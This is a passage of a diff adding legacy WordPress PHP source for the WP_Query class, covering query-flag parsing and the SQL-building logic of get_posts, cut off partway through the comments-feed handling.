+		// if we're previewing inside the write screen
+		if ('' != $qv['preview'])
+			$this->is_preview = true;
+
+		if ( is_admin() )
+			$this->is_admin = true;
+
+		if ( false !== strpos($qv['feed'], 'comments-') ) {
+			$qv['feed'] = str_replace('comments-', '', $qv['feed']);
+			$qv['withcomments'] = 1;
+		}
+
+		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
+
+		if ( $this->is_feed && ( !empty($qv['withcomments']) || ( empty($qv['withoutcomments']) && $this->is_singular ) ) )
+			$this->is_comment_feed = true;
+
+		if ( !( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed || $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_comments_popup || $this->is_robots ) )
+			$this->is_home = true;
+
+		// Correct is_* for page_on_front and page_for_posts
+		if ( $this->is_home && ( empty($this->query) || $qv['preview'] == 'true' ) && 'page' == get_option('show_on_front') && get_option('page_on_front') ) {
+			$this->is_page = true;
+			$this->is_home = false;
+			$qv['page_id'] = get_option('page_on_front');
+		}
+
+		if ( '' != $qv['pagename'] ) {
+			$this->queried_object =& get_page_by_path($qv['pagename']);
+			if ( !empty($this->queried_object) )
+				$this->queried_object_id = (int) $this->queried_object->ID;
+			else
+				unset($this->queried_object);
+
+			if  ( 'page' == get_option('show_on_front') && isset($this->queried_object_id) && $this->queried_object_id == get_option('page_for_posts') ) {
+				$this->is_page = false;
+				$this->is_home = true;
+				$this->is_posts_page = true;
+			}
+		}
+
+		if ( $qv['page_id'] ) {
+			if  ( 'page' == get_option('show_on_front') && $qv['page_id'] == get_option('page_for_posts') ) {
+				$this->is_page = false;
+				$this->is_home = true;
+				$this->is_posts_page = true;
+			}
+		}
+
+		if ( !empty($qv['post_type']) )
+			$qv['post_type'] = sanitize_user($qv['post_type'], true);
+
+		if ( !empty($qv['post_status']) )
+			$qv['post_status'] = preg_replace('|[^a-z0-9_,-]|', '', $qv['post_status']);
+
+		if ( $this->is_posts_page && ( ! isset($qv['withcomments']) || ! $qv['withcomments'] ) )
+			$this->is_comment_feed = false;
+
+		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
+		// Done correcting is_* for page_on_front and page_for_posts
+
+		if ('404' == $qv['error'])
+			$this->set_404();
+
+		if ( !empty($query) )
+			do_action_ref_array('parse_query', array(&$this));
+	}
+
+	/**
+	 * Sets the 404 property and saves whether query is feed.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 */
+	function set_404() {
+		$is_feed = $this->is_feed;
+
+		$this->init_query_flags();
+		$this->is_404 = true;
+
+		$this->is_feed = $is_feed;
+	}
+
+	/**
+	 * Retrieve query variable.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query_var Query variable key.
+	 * @return mixed
+	 */
+	function get($query_var) {
+		if (isset($this->query_vars[$query_var])) {
+			return $this->query_vars[$query_var];
+		}
+
+		return '';
+	}
+
+	/**
+	 * Set query variable.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed $value Query variable value.
+	 */
+	function set($query_var, $value) {
+		$this->query_vars[$query_var] = $value;
+	}
+
+	/**
+	 * Retrieve the posts based on query variables.
+	 *
+	 * There are a few filters and actions that can be used to modify the post
+	 * database query.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @uses do_action_ref_array() Calls 'pre_get_posts' hook before retrieving posts.
+	 *
+	 * @return array List of posts.
+	 */
+	function &get_posts() {
+		global $wpdb, $user_ID;
+
+		do_action_ref_array('pre_get_posts', array(&$this));
+
+		// Shorthand.
+		$q = &$this->query_vars;
+
+		$q = $this->fill_query_vars($q);
+
+		// First let's clear some variables
+		$distinct = '';
+		$whichcat = '';
+		$whichauthor = '';
+		$whichmimetype = '';
+		$where = '';
+		$limits = '';
+		$join = '';
+		$search = '';
+		$groupby = '';
+		$fields = "$wpdb->posts.*";
+		$post_status_join = false;
+		$page = 1;
+
+		if ( !isset($q['caller_get_posts']) )
+			$q['caller_get_posts'] = false;
+
+		if ( !isset($q['suppress_filters']) )
+			$q['suppress_filters'] = false;
+
+		if ( !isset($q['post_type']) ) {
+			if ( $this->is_search )
+				$q['post_type'] = 'any';
+			else
+				$q['post_type'] = 'post';
+		}
+		$post_type = $q['post_type'];
+		if ( !isset($q['posts_per_page']) || $q['posts_per_page'] == 0 )
+			$q['posts_per_page'] = get_option('posts_per_page');
+		if ( isset($q['showposts']) && $q['showposts'] ) {
+			$q['showposts'] = (int) $q['showposts'];
+			$q['posts_per_page'] = $q['showposts'];
+		}
+		if ( (isset($q['posts_per_archive_page']) && $q['posts_per_archive_page'] != 0) && ($this->is_archive || $this->is_search) )
+			$q['posts_per_page'] = $q['posts_per_archive_page'];
+		if ( !isset($q['nopaging']) ) {
+			if ($q['posts_per_page'] == -1) {
+				$q['nopaging'] = true;
+			} else {
+				$q['nopaging'] = false;
+			}
+		}
+		if ( $this->is_feed ) {
+			$q['posts_per_page'] = get_option('posts_per_rss');
+			$q['nopaging'] = false;
+		}
+		$q['posts_per_page'] = (int) $q['posts_per_page'];
+		if ( $q['posts_per_page'] < -1 )
+			$q['posts_per_page'] = abs($q['posts_per_page']);
+		else if ( $q['posts_per_page'] == 0 )
+			$q['posts_per_page'] = 1;
+
+		if ( !isset($q['comments_per_page']) || $q['comments_per_page'] == 0 )
+			$q['comments_per_page'] = get_option('comments_per_page');
+
+		if ( $this->is_home && (empty($this->query) || $q['preview'] == 'true') && ( 'page' == get_option('show_on_front') ) && get_option('page_on_front') ) {
+			$this->is_page = true;
+			$this->is_home = false;
+			$q['page_id'] = get_option('page_on_front');
+		}
+
+		if (isset($q['page'])) {
+			$q['page'] = trim($q['page'], '/');
+			$q['page'] = absint($q['page']);
+		}
+
+		// If a month is specified in the querystring, load that month
+		if ( $q['m'] ) {
+			$q['m'] = '' . preg_replace('|[^0-9]|', '', $q['m']);
+			$where .= " AND YEAR($wpdb->posts.post_date)=" . substr($q['m'], 0, 4);
+			if (strlen($q['m'])>5)
+				$where .= " AND MONTH($wpdb->posts.post_date)=" . substr($q['m'], 4, 2);
+			if (strlen($q['m'])>7)
+				$where .= " AND DAYOFMONTH($wpdb->posts.post_date)=" . substr($q['m'], 6, 2);
+			if (strlen($q['m'])>9)
+				$where .= " AND HOUR($wpdb->posts.post_date)=" . substr($q['m'], 8, 2);
+			if (strlen($q['m'])>11)
+				$where .= " AND MINUTE($wpdb->posts.post_date)=" . substr($q['m'], 10, 2);
+			if (strlen($q['m'])>13)
+				$where .= " AND SECOND($wpdb->posts.post_date)=" . substr($q['m'], 12, 2);
+		}
+
+		if ( '' !== $q['hour'] )
+			$where .= " AND HOUR($wpdb->posts.post_date)='" . $q['hour'] . "'";
+
+		if ( '' !== $q['minute'] )
+			$where .= " AND MINUTE($wpdb->posts.post_date)='" . $q['minute'] . "'";
+
+		if ( '' !== $q['second'] )
+			$where .= " AND SECOND($wpdb->posts.post_date)='" . $q['second'] . "'";
+
+		if ( $q['year'] )
+			$where .= " AND YEAR($wpdb->posts.post_date)='" . $q['year'] . "'";
+
+		if ( $q['monthnum'] )
+			$where .= " AND MONTH($wpdb->posts.post_date)='" . $q['monthnum'] . "'";
+
+		if ( $q['day'] )
+			$where .= " AND DAYOFMONTH($wpdb->posts.post_date)='" . $q['day'] . "'";
+
+		if ('' != $q['name']) {
+			$q['name'] = sanitize_title($q['name']);
+			$where .= " AND $wpdb->posts.post_name = '" . $q['name'] . "'";
+		} else if ('' != $q['pagename']) {
+			if ( isset($this->queried_object_id) )
+				$reqpage = $this->queried_object_id;
+			else {
+				$reqpage = get_page_by_path($q['pagename']);
+				if ( !empty($reqpage) )
+					$reqpage = $reqpage->ID;
+				else
+					$reqpage = 0;
+			}
+
+			$page_for_posts = get_option('page_for_posts');
+			if  ( ('page' != get_option('show_on_front') ) ||  empty($page_for_posts) || ( $reqpage != $page_for_posts ) ) {
+				$q['pagename'] = str_replace('%2F', '/', urlencode(urldecode($q['pagename'])));
+				$page_paths = '/' . trim($q['pagename'], '/');
+				$q['pagename'] = sanitize_title(basename($page_paths));
+				$q['name'] = $q['pagename'];
+				$where .= " AND ($wpdb->posts.ID = '$reqpage')";
+				$reqpage_obj = get_page($reqpage);
+				if ( is_object($reqpage_obj) && 'attachment' == $reqpage_obj->post_type ) {
+					$this->is_attachment = true;
+					$this->is_page = true;
+					$q['attachment_id'] = $reqpage;
+				}
+			}
+		} elseif ('' != $q['attachment']) {
+			$q['attachment'] = str_replace('%2F', '/', urlencode(urldecode($q['attachment'])));
+			$attach_paths = '/' . trim($q['attachment'], '/');
+			$q['attachment'] = sanitize_title(basename($attach_paths));
+			$q['name'] = $q['attachment'];
+			$where .= " AND $wpdb->posts.post_name = '" . $q['attachment'] . "'";
+		}
+
+		if ( $q['w'] )
+			$where .= " AND WEEK($wpdb->posts.post_date, 1)='" . $q['w'] . "'";
+
+		if ( intval($q['comments_popup']) )
+			$q['p'] = absint($q['comments_popup']);
+
+		// If an attachment is requested by number, let it supercede any post number.
+		if ( $q['attachment_id'] )
+			$q['p'] = absint($q['attachment_id']);
+
+		// If a post number is specified, load that post
+		if ( $q['p'] ) {
+			$where .= " AND {$wpdb->posts}.ID = " . $q['p'];
+		} elseif ( $q['post__in'] ) {
+			$post__in = implode(',', array_map( 'absint', $q['post__in'] ));
+			$where .= " AND {$wpdb->posts}.ID IN ($post__in)";
+		} elseif ( $q['post__not_in'] ) {
+			$post__not_in = implode(',',  array_map( 'absint', $q['post__not_in'] ));
+			$where .= " AND {$wpdb->posts}.ID NOT IN ($post__not_in)";
+		}
+
+		if ( is_numeric($q['post_parent']) )
+			$where .= $wpdb->prepare( " AND $wpdb->posts.post_parent = %d ", $q['post_parent'] );
+
+		if ( $q['page_id'] ) {
+			if  ( ('page' != get_option('show_on_front') ) || ( $q['page_id'] != get_option('page_for_posts') ) ) {
+				$q['p'] = $q['page_id'];
+				$where = " AND {$wpdb->posts}.ID = " . $q['page_id'];
+			}
+		}
+
+		// If a search pattern is specified, load the posts that match
+		if ( !empty($q['s']) ) {
+			// added slashes screw with quote grouping when done early, so done later
+			$q['s'] = stripslashes($q['s']);
+			if ( !empty($q['sentence']) ) {
+				$q['search_terms'] = array($q['s']);
+			} else {
+				preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $q['s'], $matches);
+				$q['search_terms'] = array_map(create_function('$a', 'return trim($a, "\\"\'\\n\\r ");'), $matches[0]);
+			}
+			$n = !empty($q['exact']) ? '' : '%';
+			$searchand = '';
+			foreach( (array) $q['search_terms'] as $term) {
+				$term = addslashes_gpc($term);
+				$search .= "{$searchand}(($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}'))";
+				$searchand = ' AND ';
+			}
+			$term = $wpdb->escape($q['s']);
+			if (empty($q['sentence']) && count($q['search_terms']) > 1 && $q['search_terms'][0] != $q['s'] )
+				$search .= " OR ($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}')";
+
+			if ( !empty($search) ) {
+				$search = " AND ({$search}) ";
+				if ( !is_user_logged_in() )
+					$search .= " AND ($wpdb->posts.post_password = '') ";
+			}
+		}
+
+		// Category stuff
+
+		if ( empty($q['cat']) || ($q['cat'] == '0') ||
+				// Bypass cat checks if fetching specific posts
+				$this->is_singular ) {
+			$whichcat = '';
+		} else {
+			$q['cat'] = ''.urldecode($q['cat']).'';
+			$q['cat'] = addslashes_gpc($q['cat']);
+			$cat_array = preg_split('/[,\s]+/', $q['cat']);
+			$q['cat'] = '';
+			$req_cats = array();
+			foreach ( (array) $cat_array as $cat ) {
+				$cat = intval($cat);
+				$req_cats[] = $cat;
+				$in = ($cat > 0);
+				$cat = abs($cat);
+				if ( $in ) {
+					$q['category__in'][] = $cat;
+					$q['category__in'] = array_merge($q['category__in'], get_term_children($cat, 'category'));
+				} else {
+					$q['category__not_in'][] = $cat;
+					$q['category__not_in'] = array_merge($q['category__not_in'], get_term_children($cat, 'category'));
+				}
+			}
+			$q['cat'] = implode(',', $req_cats);
+		}
+
+		if ( !empty($q['category__in']) ) {
+			$join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) ";
+			$whichcat .= " AND $wpdb->term_taxonomy.taxonomy = 'category' ";
+			$include_cats = "'" . implode("', '", $q['category__in']) . "'";
+			$whichcat .= " AND $wpdb->term_taxonomy.term_id IN ($include_cats) ";
+		}
+
+		if ( !empty($q['category__not_in']) ) {
+			if ( $wpdb->has_cap( 'subqueries' ) ) {
+				$cat_string = "'" . implode("', '", $q['category__not_in']) . "'";
+				$whichcat .= " AND $wpdb->posts.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy = 'category' AND tt.term_id IN ($cat_string) )";
+			} else {
+				$ids = get_objects_in_term($q['category__not_in'], 'category');
+				if ( !is_wp_error($ids) && is_array($ids) && count($ids) > 0 )
+					$whichcat .= " AND $wpdb->posts.ID NOT IN ('" . implode("', '", $ids) . "')";
+			}
+		}
+
+		// Category stuff for nice URLs
+		if ( '' != $q['category_name'] && !$this->is_singular ) {
+			$q['category_name'] = implode('/', array_map('sanitize_title', explode('/', $q['category_name'])));
+			$reqcat = get_category_by_path($q['category_name']);
+			$q['category_name'] = str_replace('%2F', '/', urlencode(urldecode($q['category_name'])));
+			$cat_paths = '/' . trim($q['category_name'], '/');
+			$q['category_name'] = sanitize_title(basename($cat_paths));
+
+			$cat_paths = '/' . trim(urldecode($q['category_name']), '/');
+			$q['category_name'] = sanitize_title(basename($cat_paths));
+			$cat_paths = explode('/', $cat_paths);
+			$cat_path = '';
+			foreach ( (array) $cat_paths as $pathdir )
+				$cat_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title($pathdir);
+
+			//if we don't match the entire hierarchy fallback on just matching the nicename
+			if ( empty($reqcat) )
+				$reqcat = get_category_by_path($q['category_name'], false);
+
+			if ( !empty($reqcat) )
+				$reqcat = $reqcat->term_id;
+			else
+				$reqcat = 0;
+
+			$q['cat'] = $reqcat;
+
+			$join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) ";
+			$whichcat = " AND $wpdb->term_taxonomy.taxonomy = 'category' ";
+			$in_cats = array($q['cat']);
+			$in_cats = array_merge($in_cats, get_term_children($q['cat'], 'category'));
+			$in_cats = "'" . implode("', '", $in_cats) . "'";
+			$whichcat .= "AND $wpdb->term_taxonomy.term_id IN ($in_cats)";
+			$groupby = "{$wpdb->posts}.ID";
+		}
+
+		// Tags
+		if ( '' != $q['tag'] ) {
+			if ( strpos($q['tag'], ',') !== false ) {
+				$tags = preg_split('/[,\s]+/', $q['tag']);
+				foreach ( (array) $tags as $tag ) {
+					$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$q['tag_slug__in'][] = $tag;
+				}
+			} else if ( preg_match('/[+\s]+/', $q['tag']) || !empty($q['cat']) ) {
+				$tags = preg_split('/[+\s]+/', $q['tag']);
+				foreach ( (array) $tags as $tag ) {
+					$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$q['tag_slug__and'][] = $tag;
+				}
+			} else {
+				$q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db');
+				$q['tag_slug__in'][] = $q['tag'];
+			}
+		}
+
+		if ( !empty($q['category__in']) || !empty($q['meta_key']) || !empty($q['tag__in']) || !empty($q['tag_slug__in']) ) {
+			$groupby = "{$wpdb->posts}.ID";
+		}
+
+		if ( !empty($q['tag__in']) && empty($q['cat']) ) {
+			$join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) ";
+			$whichcat .= " AND $wpdb->term_taxonomy.taxonomy = 'post_tag' ";
+			$include_tags = "'" . implode("', '", $q['tag__in']) . "'";
+			$whichcat .= " AND $wpdb->term_taxonomy.term_id IN ($include_tags) ";
+			$reqtag = is_term( $q['tag__in'][0], 'post_tag' );
+			if ( !empty($reqtag) )
+				$q['tag_id'] = $reqtag['term_id'];
+		}
+
+		if ( !empty($q['tag_slug__in']) && empty($q['cat']) ) {
+			$join = " INNER JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) INNER JOIN $wpdb->term_taxonomy ON ($wpdb->term_relationships.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id) INNER JOIN $wpdb->terms ON ($wpdb->term_taxonomy.term_id = $wpdb->terms.term_id) ";
+			$whichcat .= " AND $wpdb->term_taxonomy.taxonomy = 'post_tag' ";
+			$include_tags = "'" . implode("', '", $q['tag_slug__in']) . "'";
+			$whichcat .= " AND $wpdb->terms.slug IN ($include_tags) ";
+			$reqtag = get_term_by( 'slug', $q['tag_slug__in'][0], 'post_tag' );
+			if ( !empty($reqtag) )
+				$q['tag_id'] = $reqtag->term_id;
+		}
+
+		if ( !empty($q['tag__not_in']) ) {
+			if ( $wpdb->has_cap( 'subqueries' ) ) {
+				$tag_string = "'" . implode("', '", $q['tag__not_in']) . "'";
+				$whichcat .= " AND $wpdb->posts.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy = 'post_tag' AND tt.term_id IN ($tag_string) )";
+			} else {
+				$ids = get_objects_in_term($q['tag__not_in'], 'post_tag');
+				if ( !is_wp_error($ids) && is_array($ids) && count($ids) > 0 )
+					$whichcat .= " AND $wpdb->posts.ID NOT IN ('" . implode("', '", $ids) . "')";
+			}
+		}
+
+		// Tag and slug intersections.
+		$intersections = array('category__and' => 'category', 'tag__and' => 'post_tag', 'tag_slug__and' => 'post_tag', 'tag__in' => 'post_tag', 'tag_slug__in' => 'post_tag');
+		$tagin = array('tag__in', 'tag_slug__in'); // These are used to make some exceptions below
+		foreach ($intersections as $item => $taxonomy) {
+			if ( empty($q[$item]) ) continue;
+			if ( in_array($item, $tagin) && empty($q['cat']) ) continue; // We should already have what we need if categories aren't being used
+
+			if ( $item != 'category__and' ) {
+				$reqtag = is_term( $q[$item][0], 'post_tag' );
+				if ( !empty($reqtag) )
+					$q['tag_id'] = $reqtag['term_id'];
+			}
+
+			if ( in_array( $item, array('tag_slug__and', 'tag_slug__in' ) ) )
+				$taxonomy_field = 'slug';
+			else
+				$taxonomy_field = 'term_id';
+
+			$q[$item] = array_unique($q[$item]);
+			$tsql = "SELECT p.ID FROM $wpdb->posts p INNER JOIN $wpdb->term_relationships tr ON (p.ID = tr.object_id) INNER JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) INNER JOIN $wpdb->terms t ON (tt.term_id = t.term_id)";
+			$tsql .= " WHERE tt.taxonomy = '$taxonomy' AND t.$taxonomy_field IN ('" . implode("', '", $q[$item]) . "')";
+			if ( !in_array($item, $tagin) ) { // This next line is only helpful if we are doing an and relationship
+				$tsql .= " GROUP BY p.ID HAVING count(p.ID) = " . count($q[$item]);
+			}
+			$post_ids = $wpdb->get_col($tsql);
+
+			if ( count($post_ids) )
+				$whichcat .= " AND $wpdb->posts.ID IN (" . implode(', ', $post_ids) . ") ";
+			else {
+				$whichcat = " AND 0 = 1";
+				break;
+			}
+		}
+
+		// Taxonomies
+		if ( $this->is_tax ) {
+			if ( '' != $q['taxonomy'] ) {
+				$taxonomy = $q['taxonomy'];
+				$tt[$taxonomy] = $q['term'];
+				$terms = get_terms($q['taxonomy'], array('slug'=>$q['term']));
+			} else {
+				foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy => $t ) {
+					if ( $t->query_var && '' != $q[$t->query_var] ) {
+						$terms = get_terms($taxonomy, array('slug'=>$q[$t->query_var]));
+						if ( !is_wp_error($terms) )
+							break;
+					}
+				}
+			}
+			if ( is_wp_error($terms) || empty($terms) ) {
+				$whichcat = " AND 0 ";
+			} else {
+				foreach ( $terms as $term )
+					$term_ids[] = $term->term_id;
+				$post_ids = get_objects_in_term($term_ids, $taxonomy);
+				if ( !is_wp_error($post_ids) && count($post_ids) ) {
+					$whichcat .= " AND $wpdb->posts.ID IN (" . implode(', ', $post_ids) . ") ";
+					$post_type = 'any';
+					$q['post_status'] = 'publish';
+					$post_status_join = true;
+				} else {
+					$whichcat = " AND 0 ";
+				}
+			}
+		}
+
+		// Author/user stuff
+
+		if ( empty($q['author']) || ($q['author'] == '0') ) {
+			$whichauthor='';
+		} else {
+			$q['author'] = ''.urldecode($q['author']).'';
+			$q['author'] = addslashes_gpc($q['author']);
+			if (strpos($q['author'], '-') !== false) {
+				$eq = '!=';
+				$andor = 'AND';
+				$q['author'] = explode('-', $q['author']);
+				$q['author'] = '' . absint($q['author'][1]);
+			} else {
+				$eq = '=';
+				$andor = 'OR';
+			}
+			$author_array = preg_split('/[,\s]+/', $q['author']);
+			$whichauthor .= " AND ($wpdb->posts.post_author ".$eq.' '.absint($author_array[0]);
+			for ($i = 1; $i < (count($author_array)); $i = $i + 1) {
+				$whichauthor .= ' '.$andor." $wpdb->posts.post_author ".$eq.' '.absint($author_array[$i]);
+			}
+			$whichauthor .= ')';
+		}
+
+		// Author stuff for nice URLs
+
+		if ('' != $q['author_name']) {
+			if (strpos($q['author_name'], '/') !== false) {
+				$q['author_name'] = explode('/',$q['author_name']);
+				if ($q['author_name'][count($q['author_name'])-1]) {
+					$q['author_name'] = $q['author_name'][count($q['author_name'])-1];#no trailing slash
+				} else {
+					$q['author_name'] = $q['author_name'][count($q['author_name'])-2];#there was a trailling slash
+				}
+			}
+			$q['author_name'] = sanitize_title($q['author_name']);
+			$q['author'] = $wpdb->get_var("SELECT ID FROM $wpdb->users WHERE user_nicename='".$q['author_name']."'");
+			$q['author'] = get_user_by('slug', $q['author_name']);
+			if ( $q['author'] )
+				$q['author'] = $q['author']->ID;
+			$whichauthor .= " AND ($wpdb->posts.post_author = ".absint($q['author']).')';
+		}
+
+		// MIME-Type stuff for attachment browsing
+
+		if ( isset($q['post_mime_type']) && '' != $q['post_mime_type'] )
+			$whichmimetype = wp_post_mime_type_where($q['post_mime_type']);
+
+		$where .= $search.$whichcat.$whichauthor.$whichmimetype;
+
+		if ( empty($q['order']) || ((strtoupper($q['order']) != 'ASC') && (strtoupper($q['order']) != 'DESC')) )
+			$q['order'] = 'DESC';
+
+		// Order by
+		if ( empty($q['orderby']) ) {
+			$q['orderby'] = "$wpdb->posts.post_date ".$q['order'];
+		} elseif ( 'none' == $q['orderby'] ) {
+			$q['orderby'] = '';
+		} else {
+			// Used to filter values
+			$allowed_keys = array('author', 'date', 'title', 'modified', 'menu_order', 'parent', 'ID', 'rand');
+			if ( !empty($q['meta_key']) ) {
+				$allowed_keys[] = $q['meta_key'];
+				$allowed_keys[] = 'meta_value';
+			}
+			$q['orderby'] = urldecode($q['orderby']);
+			$q['orderby'] = addslashes_gpc($q['orderby']);
+			$orderby_array = explode(' ',$q['orderby']);
+			if ( empty($orderby_array) )
+				$orderby_array[] = $q['orderby'];
+			$q['orderby'] = '';
+			for ($i = 0; $i < count($orderby_array); $i++) {
+				// Only allow certain values for safety
+				$orderby = $orderby_array[$i];
+				switch ($orderby) {
+					case 'menu_order':
+						break;
+					case 'ID':
+						$orderby = "$wpdb->posts.ID";
+						break;
+					case 'rand':
+						$orderby = 'RAND()';
+						break;
+					case $q['meta_key']:
+					case 'meta_value':
+						$orderby = "$wpdb->postmeta.meta_value";
+						break;
+					default:
+						$orderby = "$wpdb->posts.post_" . $orderby;
+				}
+				if ( in_array($orderby_array[$i], $allowed_keys) )
+					$q['orderby'] .= (($i == 0) ? '' : ',') . $orderby;
+			}
+			// append ASC or DESC at the end
+			if ( !empty($q['orderby']))
+				$q['orderby'] .= " {$q['order']}";
+
+			if ( empty($q['orderby']) )
+				$q['orderby'] = "$wpdb->posts.post_date ".$q['order'];
+		}
+
+		if ( 'any' == $post_type ) {
+			$where .= " AND $wpdb->posts.post_type != 'revision'";
+		} elseif ( $this->is_attachment ) {
+			$where .= " AND $wpdb->posts.post_type = 'attachment'";
+		} elseif ($this->is_page) {
+			$where .= " AND $wpdb->posts.post_type = 'page'";
+		} elseif ($this->is_single) {
+			$where .= " AND $wpdb->posts.post_type = 'post'";
+		} else {
+			$where .= " AND $wpdb->posts.post_type = '$post_type'";
+		}
+
+		if ( isset($q['post_status']) && '' != $q['post_status'] ) {
+			$statuswheres = array();
+			$q_status = explode(',', $q['post_status']);
+			$r_status = array();
+			$p_status = array();
+			if ( in_array( 'draft'  , $q_status ) )
+				$r_status[] = "$wpdb->posts.post_status = 'draft'";
+			if ( in_array( 'pending', $q_status ) )
+				$r_status[] = "$wpdb->posts.post_status = 'pending'";
+			if ( in_array( 'future' , $q_status ) )
+				$r_status[] = "$wpdb->posts.post_status = 'future'";
+			if ( in_array( 'inherit' , $q_status ) )
+				$r_status[] = "$wpdb->posts.post_status = 'inherit'";
+			if ( in_array( 'private', $q_status ) )
+				$p_status[] = "$wpdb->posts.post_status = 'private'";
+			if ( in_array( 'publish', $q_status ) )
+				$r_status[] = "$wpdb->posts.post_status = 'publish'";
+
+			if ( empty($q['perm'] ) || 'readable' != $q['perm'] ) {
+				$r_status = array_merge($r_status, $p_status);
+				unset($p_status);
+			}
+
+			if ( !empty($r_status) ) {
+				if ( !empty($q['perm'] ) && 'editable' == $q['perm'] && !current_user_can("edit_others_{$post_type}s") )
+					$statuswheres[] = "($wpdb->posts.post_author = $user_ID " .  "AND (" . join( ' OR ', $r_status ) . "))";
+				else
+					$statuswheres[] = "(" . join( ' OR ', $r_status ) . ")";
+			}
+			if ( !empty($p_status) ) {
+				if ( !empty($q['perm'] ) && 'readable' == $q['perm'] && !current_user_can("read_private_{$post_type}s") )
+					$statuswheres[] = "($wpdb->posts.post_author = $user_ID " .  "AND (" . join( ' OR ', $p_status ) . "))";
+				else
+					$statuswheres[] = "(" . join( ' OR ', $p_status ) . ")";
+			}
+			if ( $post_status_join ) {
+				$join .= " LEFT JOIN $wpdb->posts AS p2 ON ($wpdb->posts.post_parent = p2.ID) ";
+				foreach ( $statuswheres as $index => $statuswhere )
+					$statuswheres[$index] = "($statuswhere OR ($wpdb->posts.post_status = 'inherit' AND " . str_replace($wpdb->posts, 'p2', $statuswhere) . "))";
+			}
+			foreach ( $statuswheres as $statuswhere )
+				$where .= " AND $statuswhere";
+		} elseif ( !$this->is_singular ) {
+			$where .= " AND ($wpdb->posts.post_status = 'publish'";
+
+			if ( is_admin() )
+				$where .= " OR $wpdb->posts.post_status = 'future' OR $wpdb->posts.post_status = 'draft' OR $wpdb->posts.post_status = 'pending'";
+
+			if ( is_user_logged_in() ) {
+				$where .= current_user_can( "read_private_{$post_type}s" ) ? " OR $wpdb->posts.post_status = 'private'" : " OR $wpdb->posts.post_author = $user_ID AND $wpdb->posts.post_status = 'private'";
+			}
+
+			$where .= ')';
+		}
+
+		// postmeta queries
+		if ( ! empty($q['meta_key']) || ! empty($q['meta_value']) )
+			$join .= " JOIN $wpdb->postmeta ON ($wpdb->posts.ID = $wpdb->postmeta.post_id) ";
+		if ( ! empty($q['meta_key']) )
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s ", $q['meta_key']);
+		if ( ! empty($q['meta_value']) ) {
+			if ( ! isset($q['meta_compare']) || empty($q['meta_compare']) || ! in_array($q['meta_compare'], array('=', '!=', '>', '>=', '<', '<=')) )
+				$q['meta_compare'] = '=';
+
+			$where .= $wpdb->prepare("AND $wpdb->postmeta.meta_value {$q['meta_compare']} %s ", $q['meta_value']);
+		}
+
+		// Apply filters on where and join prior to paging so that any
+		// manipulations to them are reflected in the paging by day queries.
+		if ( !$q['suppress_filters'] ) {
+			$where = apply_filters('posts_where', $where);
+			$join = apply_filters('posts_join', $join);
+		}
+
+		// Paging
+		if ( empty($q['nopaging']) && !$this->is_singular ) {
+			$page = absint($q['paged']);
+			if (empty($page)) {
+				$page = 1;
+			}
+
+			if ( empty($q['offset']) ) {
+				$pgstrt = '';
+				$pgstrt = ($page - 1) * $q['posts_per_page'] . ', ';
+				$limits = 'LIMIT '.$pgstrt.$q['posts_per_page'];
+			} else { // we're ignoring $page and using 'offset'
+				$q['offset'] = absint($q['offset']);
+				$pgstrt = $q['offset'] . ', ';
+				$limits = 'LIMIT ' . $pgstrt . $q['posts_per_page'];
+			}
+		}
+
+		// Comments feeds
+		if ( $this->is_comment_feed && ( $this->is_archive || $this->is_search || !$this->is_singular ) ) {
+			if ( $this->is_archive || $this->is_search ) {
+				$cjoin = "JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) $join ";
+				$cwhere = "WHERE comment_approved = '1' $where";
+				$cgroupby = "$wpdb->comments.comment_id";
+			} else { // Other non singular e.g. front
+				$cjoin = "JOIN $wpdb->posts ON ( $wpdb->comments.comment_post_ID = $wpdb->posts.ID )";
+				$cwhere = "WHERE post_status = 'publish' AND comment_approved = '1'";
+				$cgroupby = '';
+			}
+
+			if ( !$q['suppress_filters'] ) {
+				$cjoin = apply_filters('comment_feed_join', $cjoin);
